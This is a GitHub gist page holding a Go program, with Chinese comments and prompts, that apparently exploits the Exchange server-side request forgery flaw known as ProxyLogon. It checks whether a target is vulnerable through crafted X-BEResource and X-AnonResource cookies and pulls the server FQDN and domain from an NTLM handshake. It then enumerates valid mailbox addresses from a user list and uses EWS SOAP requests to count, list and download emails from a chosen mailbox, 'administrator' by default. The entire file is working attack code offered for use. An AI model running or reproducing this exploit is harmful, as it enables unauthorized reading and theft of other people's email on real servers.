Created
March 15, 2021 07:37
-
-
Save swarupsro/f8c0bd3a3da73983e98d13e26c4e5002 to your computer and use it in GitHub Desktop.
UnknownList
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"crypto/tls" | |
"flag" | |
"fmt" | |
"time" | |
"io" | |
"io/ioutil" | |
"net/http" | |
//"net/url" | |
"os" | |
"strings" | |
"regexp" | |
"encoding/base64" | |
"bufio" | |
"strconv" | |
) | |
//检测漏洞存在脚本 | |
func Verify(targetUrl string) bool { | |
tr := &http.Transport{ | |
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, | |
} | |
client := &http.Client{Transport: tr} | |
req, _ := http.NewRequest("GET", targetUrl, nil) | |
req.Header.Add("Cookie","X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;") | |
resp, _ := client.Do(req) | |
defer resp.Body.Close() | |
body, _ := ioutil.ReadAll(resp.Body) | |
if strings.Contains(string(body), "NegotiateSecurityContext") { | |
return true | |
} else { | |
return false | |
} | |
} | |
func append16(v []byte, val uint16) []byte { | |
return append(v, byte(val), byte(val>>8)) | |
} | |
func append32(v []byte, val uint16) []byte { | |
return append(v, byte(val), byte(val>>8), byte(val>>16), byte(val>>24)) | |
} | |
const ( | |
negotiateUnicode = 0x0001 // Text strings are in unicode | |
negotiateOEM = 0x0002 // Text strings are in OEM | |
requestTarget = 0x0004 // Server return its auth realm | |
negotiateSign = 0x0010 // Request signature capability | |
negotiateSeal = 0x0020 // Request confidentiality | |
negotiateLMKey = 0x0080 // Generate session key | |
negotiateNTLM = 0x0200 // NTLM authentication | |
negotiateLocalCall = 0x4000 // client/server on same machine | |
negotiateAlwaysSign = 0x8000 // Sign for all security levels | |
) | |
//生成ntlm type1 | |
func Negotiate() []byte { | |
var ret []byte | |
flags := negotiateAlwaysSign | negotiateNTLM | requestTarget | negotiateOEM | |
ret = append(ret, "NTLMSSP\x00"...) // protocol | |
ret = append32(ret, 1) // type | |
ret = append32(ret, uint16(flags)) // flags | |
ret = append16(ret, 0) // NT domain name length | |
ret = append16(ret, 0) // NT domain name max length | |
ret = append32(ret, 0) // NT domain name offset | |
ret = append16(ret, 0) // local workstation name length | |
ret = append16(ret, 0) // local workstation name max length | |
ret = append32(ret, 0) // local workstation name offset | |
ret = append16(ret, 0) // unknown name length | |
ret = append16(ret, 0) // ... | |
ret = append16(ret, 0x30) // unknown offset | |
ret = append16(ret, 0) // unknown name length | |
ret = append16(ret, 0) // ... | |
ret = append16(ret, 0x30) // unknown offset | |
return ret | |
} | |
//利用ntlm type2 获取有效信息 fqdn | |
func Ntlminfo(targetUrl string) (fqdn string, domain string) { | |
//var fqdn string | |
tr := &http.Transport{ | |
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, | |
} | |
client := &http.Client{Transport: tr} | |
req, _ := http.NewRequest("GET", targetUrl, nil) | |
req.Header.Add("Authorization", fmt.Sprintf("NTLM %s", base64.StdEncoding.EncodeToString(Negotiate()))) | |
req.Header.Add("Accept","text/xml") | |
resp, _ := client.Do(req) | |
reg1 := regexp.MustCompile(`[^NTLM].+;Negotiate\z`) | |
reg2 := regexp.MustCompile(`[^\s].+[^;Negotiate]`) | |
reg3 := regexp.MustCompile(`(\x03\x00.)(.+?)(\x05\x00)`) | |
reg4 := regexp.MustCompile(`\x03\x00.|\x05|\x00`) | |
reg5 := regexp.MustCompile(`(\x04\x00.)(.+?)(\x03\x00)`) | |
reg6 := regexp.MustCompile(`\x04\x00.|\x03|\x00`) | |
for _, values := range resp.Header { | |
type2 := reg2.FindString(reg1.FindString(strings.Join(values, ";"))) | |
if type2 != "" { | |
decodeBytes, _ := base64.StdEncoding.DecodeString(reg2.FindString(type2)) | |
fqdn = reg4.ReplaceAllString(reg3.FindString(string(decodeBytes)), "") | |
domain = reg6.ReplaceAllString(reg5.FindString(string(decodeBytes)), "") | |
} | |
} | |
return | |
} | |
func Postxml(targetUrl string, fqdn string, xmlcontent string) string { | |
//urlProxy, _ := url.Parse("http://127.0.0.1:8080") | |
tr := &http.Transport{ | |
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, | |
// Proxy: http.ProxyURL(urlProxy), | |
} | |
client := &http.Client{Transport: tr} | |
req, _ := http.NewRequest("POST", targetUrl, strings.NewReader(xmlcontent)) | |
req.Header.Add("Cookie", fmt.Sprintf("X-BEResource=%s/EWS/Exchange.asmx?a=~1942062522;", fqdn)) | |
req.Header.Add("Content-Type", "text/xml") | |
//fmt.Println(req) | |
resp2, _ := client.Do(req) | |
//defer resp2.Body.Close() | |
body2, _ := ioutil.ReadAll(resp2.Body) | |
return string(body2) | |
} | |
func Userenumerate(targetUrl string, fqdn string, xmlcontent string, userfile string, domainneame string, stime int) { | |
//fmt.Println(userfile) | |
ufile, err := os.Open(userfile) | |
if err != nil { | |
fmt.Println("文件错误") | |
os.Exit(0) | |
} | |
defer ufile.Close() | |
fmt.Println("正确邮箱地址:\n") | |
br := bufio.NewReader(ufile) | |
for { | |
name, _, c := br.ReadLine() | |
if c == io.EOF { | |
fmt.Println("\n完成。") | |
break | |
} | |
if strings.Contains(string(name), "@") { | |
str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, string(name))) | |
if strings.Contains(str, string(name)) { | |
//fmt.Println(fmt.Sprintf("邮箱地址 %s 不正确", string(name))) | |
}else { | |
fmt.Println(string(name)) | |
} | |
}else{ | |
address := fmt.Sprintf("%s@%s", string(name), domainneame) | |
str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, address)) | |
if strings.Contains(str, string(name)) { | |
//fmt.Println(fmt.Sprintf("邮箱地址 %s 不正确", address)) | |
}else { | |
fmt.Println(address) | |
} | |
} | |
time.Sleep(time.Duration(stime)*time.Second) | |
} | |
} | |
func makefile(fileName string, conntent string) { | |
f, err := os.Create(fileName) | |
defer f.Close() | |
if err != nil { | |
fmt.Println(err.Error()) | |
} else { | |
_, _ = f.Write([]byte(conntent)) | |
} | |
} | |
func main(){ | |
var maddress string | |
host := flag.String("h", "", "必填,目标地址或域名") | |
filepath := flag.String("U", "", "选填,需要枚举的用户列表") | |
stime := flag.String("t", "1", "选填,请求延迟时间") | |
desfqnd := flag.String("n", "", "选填,需要指定 FQND 事填写") | |
list := flag.Bool("l", false, "选填,列出邮件列表") | |
emailadd := flag.String("u", "administrator", "选填,指定目标") | |
downl := flag.Bool("d", false, "选填,下载邮件") | |
flag.Parse() | |
targetUrl := fmt.Sprintf("https://%s/owa/auth/temp.js", *host) | |
ewsUrl := fmt.Sprintf("https://%s/ews/exchange.asmx", *host) | |
postUrl := fmt.Sprintf("https://%s/ecp/temp.js", *host) | |
sleep_time, _ := strconv.Atoi(*stime) | |
if *host == "" { | |
fmt.Println("请输入目标IP地址") | |
os.Exit(0) | |
} | |
fmt.Println("检测漏洞存在中...") | |
if Verify(targetUrl) == true { | |
fmt.Println("漏洞存在...继续") | |
}else{ | |
fmt.Println("漏洞不存在...END") | |
os.Exit(0) | |
} | |
mailnum := `<?xml version="1.0" encoding="utf-8"?> | |
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | |
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" | |
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" | |
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> | |
<soap:Body> | |
<m:GetFolder> | |
<m:FolderShape> | |
<t:BaseShape>Default</t:BaseShape> | |
</m:FolderShape> | |
<m:FolderIds> | |
<t:DistinguishedFolderId Id="inbox"> | |
<t:Mailbox> | |
<t:EmailAddress>%s</t:EmailAddress> | |
</t:Mailbox> | |
</t:DistinguishedFolderId> | |
</m:FolderIds> | |
</m:GetFolder> | |
</soap:Body> | |
</soap:Envelope>` | |
maillist := `<?xml version='1.0' encoding='utf-8'?> | |
<soap:Envelope | |
xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' | |
xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types' | |
xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages' | |
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'> | |
<soap:Body> | |
<m:FindItem Traversal='Shallow'> | |
<m:ItemShape> | |
<t:BaseShape>AllProperties</t:BaseShape> | |
</m:ItemShape> | |
<m:IndexedPageItemView MaxEntriesReturned="5" Offset="0" BasePoint="Beginning" /> | |
<m:ParentFolderIds> | |
<t:DistinguishedFolderId Id='inbox'> | |
<t:Mailbox> | |
<t:EmailAddress>%s</t:EmailAddress> | |
</t:Mailbox> | |
</t:DistinguishedFolderId> | |
</m:ParentFolderIds> | |
</m:FindItem> | |
</soap:Body> | |
</soap:Envelope>` | |
download := `<?xml version="1.0" encoding="utf-8"?> | |
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | |
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" | |
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" | |
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> | |
<soap:Body> | |
<m:GetItem> | |
<m:ItemShape> | |
<t:BaseShape>AllProperties</t:BaseShape> | |
<t:BodyType>Text</t:BodyType> | |
</m:ItemShape> | |
<m:ItemIds> | |
<t:ItemId Id="%s" ChangeKey="%s" /> | |
</m:ItemIds> | |
</m:GetItem> | |
</soap:Body> | |
</soap:Envelope>` | |
fqndstr, domainstr := Ntlminfo(ewsUrl) | |
fmt.Println("目标 FQND 为: ", fqndstr) | |
if *filepath != "" { | |
Userenumerate(postUrl, fqndstr, mailnum, *filepath, domainstr, sleep_time) | |
} | |
if *desfqnd != "" { | |
fqndstr = *desfqnd | |
} | |
if strings.Contains(*emailadd, "@") { | |
maddress = *emailadd | |
}else{ | |
maddress = fmt.Sprintf("%s@%s", *emailadd, domainstr) | |
} | |
str := Postxml(postUrl, fqndstr, fmt.Sprintf(mailnum, maddress)) | |
//fmt.Println(str) | |
if strings.Contains(str, maddress) { | |
fmt.Println(fmt.Sprintf("邮件地址 %s 不正确,请重新输入", maddress)) | |
}else if strings.Contains(str, "Success") { | |
reg01 := regexp.MustCompile(`(<t:TotalCount>)(.+)(</t:TotalCount>)`) | |
reg02 := regexp.MustCompile(`<t:TotalCount>|</t:TotalCount>`) | |
mnum := reg02.ReplaceAllString(reg01.FindString(str), "") | |
fmt.Println("用户 ", maddress, " 邮箱中收件箱 Inbox 中邮件数量为: ", mnum) | |
if *list == true { | |
if mnum != "0"{ | |
contents := Postxml(postUrl, fqndstr, fmt.Sprintf(maillist, maddress)) | |
reg_id := regexp.MustCompile(`(?:t\:ItemId\sId=")(.+?)(?:")`) | |
reg_key := regexp.MustCompile(`(?:t\:ItemId\sId=".+?"\sChangeKey=")(.+?)(?:")`) | |
reg_sub := regexp.MustCompile(`(?:<t:Subject>)(.+?)(?:</t:Subject>)`) | |
id := reg_id.FindAllStringSubmatch(contents, -1) | |
key := reg_key.FindAllStringSubmatch(contents, -1) | |
subject := reg_sub.FindAllStringSubmatch(contents, -1) | |
for i := 0; i < 5 ; i++{ | |
fmt.Println("---------") | |
fmt.Println("ID :", i+1, "\nItemId: ", id[i][1], "\nkey: ", key[i][1], "\n邮件标题:", subject[i][1]) | |
fmt.Println() | |
} | |
if *downl == true { | |
for i := 0; i < 5 ; i++{ | |
fmt.Println("正在下载第 ", i," 份邮件") | |
contentd := Postxml(postUrl, fqndstr, fmt.Sprintf(download, id[i][1], key[i][1])) | |
makefile(fmt.Sprintf("./ID-%v.xml", i+1), contentd) | |
} | |
fmt.Println("下载完成") | |
} | |
}else{ | |
fmt.Println("目标邮箱无邮件!") | |
} | |
} | |
}else{ | |
fmt.Println("默认 FQND 无效请更换其他服务器") | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment